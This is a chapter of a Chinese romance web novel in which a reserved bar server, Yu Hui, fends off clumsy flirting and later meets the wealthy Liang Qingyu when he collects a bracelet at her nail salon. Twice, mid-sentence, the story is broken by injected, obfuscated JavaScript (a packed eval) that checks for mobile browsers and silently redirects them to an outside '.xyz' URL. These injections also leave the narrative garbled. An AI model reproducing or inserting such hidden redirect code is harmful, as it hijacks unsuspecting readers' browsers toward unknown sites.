而这次他甚至都忘了自己还有任务,一边讲一边跟着尤绘:“我还跟你说,你肯定想不到,就在昨天他们还找上老板,说能不能别唱抒情歌了,要咱们请个摇滚乐队和打碟的过来玩。” 似乎觉得特别不可思议,居然会提出这样的要求,男同事情绪跟着激动起来:“哇靠那不得翻天啊。” “还有还有,有几个客人还点名要我伴舞。”男同事指着自己,表情极其夸张,眼珠子都快爆出来:“我诶,伴舞诶,开什么玩笑啊。” 转进走廊,尤绘冷不丁一句:“跳的什么?” 男同事想都不带想的,脱口而出:“某抖上的原创摇。”说完他才反应过来不太对劲,看尤绘的眼神都变了:“你怎么知道我跳了?” 尤绘一点都不意外,听到反问后甚至还轻笑了声。 男同事理直气壮:“就跳了三分钟,给我五百块,要你你不跳?” 尤绘没吭声,男同事倒也没什么所谓,一张嘴还在不停的叭叭,尤绘没再接话,人已经来到更衣室门口。 她的手放在门把手上,见旁边这人似乎并不打算停下来,她转眸看向他,语调很淡:“我要换衣服。” 男同事这才反应过来怎么就跟到女更衣室门口了,这也太冒犯了。他连忙后退,甚至还做了个请的手势:“您换您换,我去吧台那等你。”等着人过去跟他唠嗑。 尤绘没应这句,推开了更衣室的门。 再出来时她已经换上了全黑的工作服,头发则是随意的梳了个侧丸子头。 她反手将更衣室的门带上,注意到走廊尽头,男老板边抽着烟,正跟人讲电话。 不知道是无所谓旁人听到对话内容,还是以为这附近不会来人,手机开的外放。 尤绘依稀听到电话那头的男性说:“你那人多我懒得去。” 男人的声音低沉,自带一股慵懒痞气的劲,很有特点。是那种听一次就会在脑海中无限循环的声音。或许这样的男人很适合说情话。 不过尤绘不是喜欢听情话的人,这种男人也只能骗骗单纯的小姑娘。 看到老板吐出烟圈,忍不住蹙眉问:“你昨晚干什么去了啊累成这样,感觉你就差最后一口气了。” 手机那头响起打火机点火的咔嗒声,好一阵才传来一句:“你说呢。” 男老板听到男人略微烦闷的语气,很快反应过来:“懂了,那是真挺折磨人的。” 话音刚落,尤绘从旁边经过,礼貌的跟男老板打了声招呼:“秦老板。” 男老板原本还在琢磨着怎么安慰人,心情跟着郁闷起来,这会儿听到尤绘的这声老板,郁闷的情绪一瞬间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16137658|180314||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 消散。 他唇角牵起一抹笑:“嘿就来啦,今天到的挺早啊,不过我得先跟你打个预防针,今晚店里可能有点忙,要累了就把活儿丢给小淘,他今天可劲在那偷懒,我都还没说他呢,他还挺乐意听你吩咐的,你去帮我训训他。” 尤绘边听着,看到男老板握手机的那只手,甚至都直接垂落到了腿侧,可电话并没有挂断,那边的男人似乎怔了一瞬,没吭声。 尤绘点头嗯道:“那我先去忙了。” 男老板说好,还跟她招手,目送她离开。招的那只手上,手机那头突然传出男人意味深长的坏笑:“谁啊,谈对象了?” 这声一出来,男老板被吓得一激灵,才反应过来忽视了某人,他赶紧否认:“我店里的员工。”说着这话,他的视线依旧落在刚走远的尤绘身上。 看着她的背影,男老板像是想到了什么,捂住半张嘴,悄咪咪地:“我跟你说,这姑娘长得贼正点。”说完这句,他不捂嘴了,直接大摇大摆往休息室走,边走边说:“不过应该不是你喜欢的类型。” 男人并没有把这话当回事,像是不打算继续这个话题,只是玩笑似的回了句:“我喜欢什么类型?你又知道了?” 男老板还真认真思考了一下这个问题,不过电话那头的男人并没有给他回答问题的机会,岔开话题聊了两句就把电话给挂了。 - 挂完电话,梁清屿站在阳台上边吹着风,抽完这支烟又点了一支,将烟蒂捻灭后,他转身出了卧室。 客厅里,投影仪上正播放着综艺节目。女人敷着面膜在剥小龙虾,茶几上还摆放着一丢乱七八糟的调酒,都是她从网上学来的。 看到梁清屿朝着玄关处走,她有些懵,赶紧将人叫住:“你干嘛去啊,你不是说困了要睡觉吗?” 梁清屿没停下,已经来到玄关处换鞋,他回得随意:“睡不着,出去喝两杯。” 女人眼睛微微眯起,想到刚回到家那会儿她邀请他一块儿喝酒,对方很冷漠的说要睡觉,不陪。结果现在要自个出去喝? 她觉得这其中绝对有猫腻,决定套个话:“这么大晚上的和谁去喝酒啊。” 梁清屿已经换好鞋,从一堆车钥匙里挑了一把。 推门,跨出去一步:“您管得可真够宽的。” 与此同时的另一边,尤绘已经来到工作岗位。 一过来她就连着给同一桌客人送了三次特调酒,每回送酒过来,这桌的客人眼睛就没从尤绘脸上挪开过,但又碍着面子,不能过分,要不然不就成流氓了。 几人忍了又忍,为了想招跟她搭上话,没隔一会儿就下单一杯特调。 在他们桌第四次下单了一杯特调酒后,吧台后边的调酒师拿到单子,象征性的展示给尤绘以及话多的男同事小淘看。 调酒师大胆猜测:“八成是想要小羽的联系方式呢,谁家好人点酒这样点,三个男人,一回只点一杯,我估计他们是在想搭讪的招数。” 小淘不敢对客人有意见,但也是真的有点意见。 见尤绘似乎没把这事当回事,看着太好欺负了点,等会儿要是真的被要微信,大概率也会因为不好意思拒绝,被迫交换联系方式。 他觉得不能这样,这也太便宜他们了,他有尤绘联系方式还是因为在同一个工作群,加了整整一个礼拜,每天都要发送好几遍验证信息,对方才通过的呢。 这会儿他的心里极度不平衡,盯着调酒师调那桌客人的酒,他陷入了沉思。 好一阵才开口,特别认真的跟尤绘说:“小羽,等会儿要是他们找你要联系方式,你就说你有男朋友了。” 闻言,尤绘扭过头,唇角轻扯了下,像是被逗笑一般,直白戳穿:“然后要你假扮我的男朋友是吗?” 此话一出,小淘额了数秒,兴许是没料到尤绘会这么直接,他还以为自己伪装得很好呢。 现在他也只能尴尬的笑了两声,挠着头:“我是觉得这样说应该比较方便拒绝。” 尤绘说话是一如既往的直接,没有什么弯弯绕绕,面上情绪也淡:“你挺不了解我这个人的,如果我会觉得不好意思,那就不会在你持续不间断加我好友,并且我俩几乎每天都会见面的情况下,依旧不点通过,如果不是秦老板的意思,你今天都不会有我的联系方式。” 调酒师已经将酒放到了托盘上,听到两人的对话,准确点来说应该是听到尤绘的这番话,他都替小淘冒冷汗。 之前工作小群里就有人蛐蛐过尤绘,说她总是拒人于千里之外,明明长得乖巧,应该是可爱软萌的类型,不曾想调子比天高。 这会儿调酒师也没敢吱声,偷偷瞄一眼左边,又偷偷瞄一眼右边。正想着打圆场,尤绘跟没事人一样,端起托盘就往那桌客人那去。 调酒师将目光落到小淘身上,隔着吧台拍了拍他的肩膀:“没事没事,你肯定还是有机会的,我估计小羽喜欢的肯定是那种温柔的男孩子,你体贴一点,说话软一点,跟漂亮姑娘打交道嘛,大多都是日久生情。” “真的吗?”小淘没了自信,好吧他一直都没有。 5. 没印象 接下来的半个多小时,尤绘忙前忙后了好一会儿,除了去各个卡座送酒送小食外,还被后厨叫去帮忙倒了垃圾。 又过了一阵,清吧的门被推开,梁清屿单手抄兜,踱步来到角落的专属卡座。 刚在沙发上坐下,正翻看着酒单,桌面上的手机,屏幕骤然亮起,有一条微信消息弹出。 他没在意,直到屏幕亮了数秒。他拿过来解锁一看,是梁宗元发来的。 看到发消息的这人,以及他说的那些恶劣至极的话,梁清屿的头又有些止不住的隐隐作痛。 他没回消息,手机往旁边沙发一丢,抬手按了按太阳穴,试图缓解疼痛。 一些破事吵了得有三个晚上,吵又吵不明白,电话里吵不够,那老家伙过来出个差,逮住人当面也要吵一顿,可以说昨晚几乎没睡几个小时。 在身体以及精神都极度疲惫的情况下,在床上躺了十来分钟,却死活都睡不着。 这会儿看到梁宗元的消息,梁清屿更是没了丝毫睡意,烦都快烦死了。 他将酒单合上,准备叫店员过来,一抬头就注意到斜靠在吧台旁的那位美甲师。 全黑工作服穿在她的身上,原本身材就单薄瘦小,收腰的设计更显腰身比例。她对面站着个同样穿工作服的人,那男生搓着手指,正小心翼翼跟她说话。 梁清屿对小男生追姑娘这种戏码没什么兴趣,很快便收回视线,将手机捞过来,扫码下单了几款酒。 同一时间,调酒师将已经调制好的酒放到桌上,并抬了抬下巴示意不远处的位置:“又是那桌的。” 尤绘没什么特别的反应,这是她的工作,只要对方不越界,她会装作什么都不知道。 但一旁的小淘明显不乐意了,看到尤绘将酒放到了托盘上,他想去抢那杯酒,才刚伸出手,尤绘像是早就料到般,抬手,动作迅速且干脆地打掉了那只探过来的手。 她面上没有多余的情绪,端起托盘,转身,撂下一句:“用不着。” 被打了这么一下,小淘整个人直接傻在原地,看着尤绘已经踱步过去,他呆愣愣地问调酒师:“她是怎么知道的?” 调酒师耸耸肩,什么也没说。 来到卡座前,尤绘将托盘中的酒放到了桌上。 刚准备转身离开,三人中长相稍微出众的一位穿红色T恤的男生鼓足气,主动开口搭讪:“你好啊小姐姐,请问你等会儿几点下班呀,方便约吗?” 此话一出,卡座另一侧的锅盖头男生,抄起手边的一包抽纸就往红T恤男生脸上砸。 啪——! 红T恤男生明显被吓了一跳,倒也不是砸得多重,就是完全没有料到会来这么一出,他甚至有些气过头,好不容易找着机会搭讪,还被朋友拿东西砸,躲又没躲掉,真是丢脸丢大发了。 他脱口而出骂了句:“艹,你他妈干嘛呢。”边骂,他将怀里的这包纸巾重重丢回去。 旁边一直沉默的戴眼镜的男生见事态不对,两只手挡在两人面前:“你俩别冲动啊,咋了这是,我属实没看明白啊,咱也没对这场戏的剧本啊。” 很快,这动静就引得周围人纷纷投来目光,其中包括不远处卡座里,翘着二郎腿,偏头点烟的梁清屿。 他的视线落在尤绘身上,看到她一副事不关己的样,甚至表情中还略微有些嫌弃。 紧接着,拿纸砸人的锅盖头男生解释道:“你不会说话就闭嘴吧,说的话太难听了,也不怕冒犯到人家。” 话音落,他也不给红T恤男生说话的机会,瞬间换了副嘴脸,笑眯眯地跟站在一旁的尤绘说明情况:“我兄弟不是那个意思啊,就是想问问你能不能交个朋友,然后平常不上班的时候有没有什么娱乐活动,如果合拍可以约着一起出去玩。” 红T恤男生听了这话,不自觉开始反思,之前自己好像的确有些冒犯了,但脸上还火辣辣的疼,他语气依旧一般:“那也不带打人的啊,粗鲁的家伙。” 戴眼镜的男生思来想去还是决定站出来:“小姐姐,能交换个联系方式吗?我们都是正经人,如果你对打台球,爬山,打麻将感兴趣,我们可以多叫几个朋友组局,带你一块儿玩。” 看着这几位拙劣的搭讪方式,尤绘的眼神中透露出一丝冷漠。 沉默的这么几秒钟时间里,三人的心都提到了嗓子眼。 尤绘看得出他们此刻的心理状态,只是扫了眼:“你们不是我喜欢的类型,做朋友也算了。” 明明是意料之中的结果,但红T恤男生还是慌了,莫名有种不能白被砸了的感觉。 他急忙叫住尤绘:“妹妹,那你喜欢什么类型的男生啊,我就问问,没有别的意思哈。” 尤绘依旧那副冷淡样:“我喜欢不搭理我的。”话音落,她拿着托盘转身就走,留三人大眼瞪小眼。 此时不远处,站在吧台前的小淘机械般看向调酒师:“她喜欢不搭理人的类型。”不是温柔款啊。 调酒师赶紧偏开视线,当什么都没发生,并在心里默默告诫自己,别再瞎出主意了,尤绘真的不是一般人能追上的。 搭讪小插曲结束,众人收回视线,继续各玩各的。 刚看完一场戏的男人,手腕靠在桌子边沿,轻抖了下烟灰,视线跟随着从卡座到了吧台。 直到秦老板从后边休息室小跑过来,往沙发上一坐,就要揽他肩膀,被人抢先一步躲开,并推了一把。 梁清屿微蹙眉:“别靠我,坐远点。” 秦老板笑两下,屁股往旁边挪:“真是稀客啊,你咋过来了?不是嫌吵不来的呢。” 秦老板说这话的时候,梁清屿余光瞟到,前不久刚拒绝完异性搭讪的女服务员端着托盘走了过来。 他换了个姿势,懒散的往沙发后一仰,翘着的腿有一搭没一搭的晃着,他将手臂靠放在大腿上,指间还夹着燃了半截的烟。 很快人就走到了跟前。 她将托盘放到桌上,端起富士山杯,将白色液体的酒放到了男人面前,微微垂眸向他介绍:“这杯是破冰,由白朗姆,151朗姆酒,蓝橙酒,柠檬汁调制。” 介绍完这杯,她又从托盘上端起一杯液体成粉色的酒,将其放到桌面,再推到男人面前:“热烈之吻,由龙舌兰酒,菠萝汁,柠檬汁,百香果糖浆,红石榴糖浆调制,表面撒了少许的肉桂粉。” 梁清屿总共点了四杯特调酒,尤绘一一介绍完,没看人,说完慢用,拿着托盘转身离开了卡座。 梁清屿的目光再次停留在了那道背影上,不等秦老板说些什么,他懒洋洋回:“睡不着,过来喝几杯。” 想说的话被噎了回去,秦老板的注意力很快转移,甚至有点没反应过来。电话里他的声音明明是有气无力的,怎么就睡不着觉了呢。 当时打去电话的时候,秦老板都以为自己要死翘翘了,毕竟如果换个对象,电话是打给某位少爷,也绝对逃不掉一顿好骂,结果梁清屿居然还陪着聊了两句。 想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16137659|180314||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到这,秦老板下意识问了句:“少爷人呢,怎么没叫他陪你。” 梁清屿仰头,一口气喝掉半杯酒。 他将酒杯放下,思绪在乱跑,兴许是累着了,好一阵才慢悠悠地说:“不清楚,估计也在为睡眠问题发愁。” 也是这会儿,略微有些突兀的手机铃声响起。他瞥了眼沙发上的手机,屏幕上显示来电人备注:纯。 梁清屿磨蹭了一阵才去拿手机,按完接听键手机还没贴上耳朵,女人命令式的话语就从那头传了过来:“你明天去趟美甲店,我刚刚才发现我有东西掉在人家那了,你去帮我取回来。” 闻言,梁清屿的视线再次落到了吧台:“什么东西?” “就一条手链,你记得啊,我后天晚上要戴的。” 电话被挂断,梁清屿转着手机,耳边是秦老板的说话声,他没认真听,一直盯着某处。 - 隔天下午,刚忙完的尤绘正坐在店里的休息间吃着早午餐。 此时休息间的门是敞开的,人进人出,一个两个都忙得不行。 尤绘不急不慢吃着卤肉面,手机平放在大腿上,屏幕上是某软件的后台数据。 她正分析着最近几条视频的流量,依稀听到前台那有人在说着什么,对方好像还是个男的,不过对话声没一会儿就消失了。 几分钟后,店长从另一边的工作区域小跑过来,快速敲了两下休息间的门:“小羽,取手链的客人来了,我这会儿忙不开,你去帮客人拿下东西,就在前台上锁的抽屉里。” 话音落,店长也不管交没交代清楚,已经转身离开,回去继续给客人种睫毛。 尤绘吃掉最后一口面,擦完嘴,起身去储物柜里拿前台抽屉的钥匙,再踱步来到休息间门口。 一过来她便注意到前台那,正低头玩着手机的男人,修长的双腿随性地交叉着放,他穿着一件藏青色短袖,脖颈处没有任何多余的配饰,裤子是深灰色工装阔腿裤。 明明是很休闲青春的穿搭,这人穿出来感觉却完全变了,浑身上下都透着股痞劲。 尤绘的视线没在他身上过度停留,已经绕进前台,打开了上锁的抽屉,从里头拿出那条带钻的手链。 她一手关上抽屉并上锁,一手拎着那条手链,递出去:“呐。” 闻声,梁清屿将已经锁屏的手机揣进兜里,抬眸,和她的目光相撞。 下一秒,他的视线落到那条手链上,刚准备接,尤绘突然将停在半空的手收了回来。 梁清屿眼神微微一凝,试图理解着什么。 也就在这时,尤绘不咸不淡问了句:“你是她什么人?” 四目对视,梁清屿皱起眉,眼里明显透出不解和疑惑。 尤绘还在等着他的回答,那双盯人的眸子深邃,淡漠,又隐晦不明。 而梁清屿神情中的不知所云,让尤绘觉得有趣儿。 她看得出,或许他误会了什么。 她的语调一如既往,又让人捉摸不透,却也是很认真地解释:“要不然我怎么知道你是不是骗子,这东西可不便宜。” 听到这话,尤绘注意到他瞳孔里闪过的一丝不悦,痕迹很淡。 见人还没回答,尤绘轻挑了下眉,像是催促,又似其他。她明明只是很单纯的问出这个问题,完全没有其他的心思。 但梁清屿却嗤了声:“你没见过我?” 尤绘的双眸不惨任何杂质,很平静的回复:“抱歉,没什么印象。”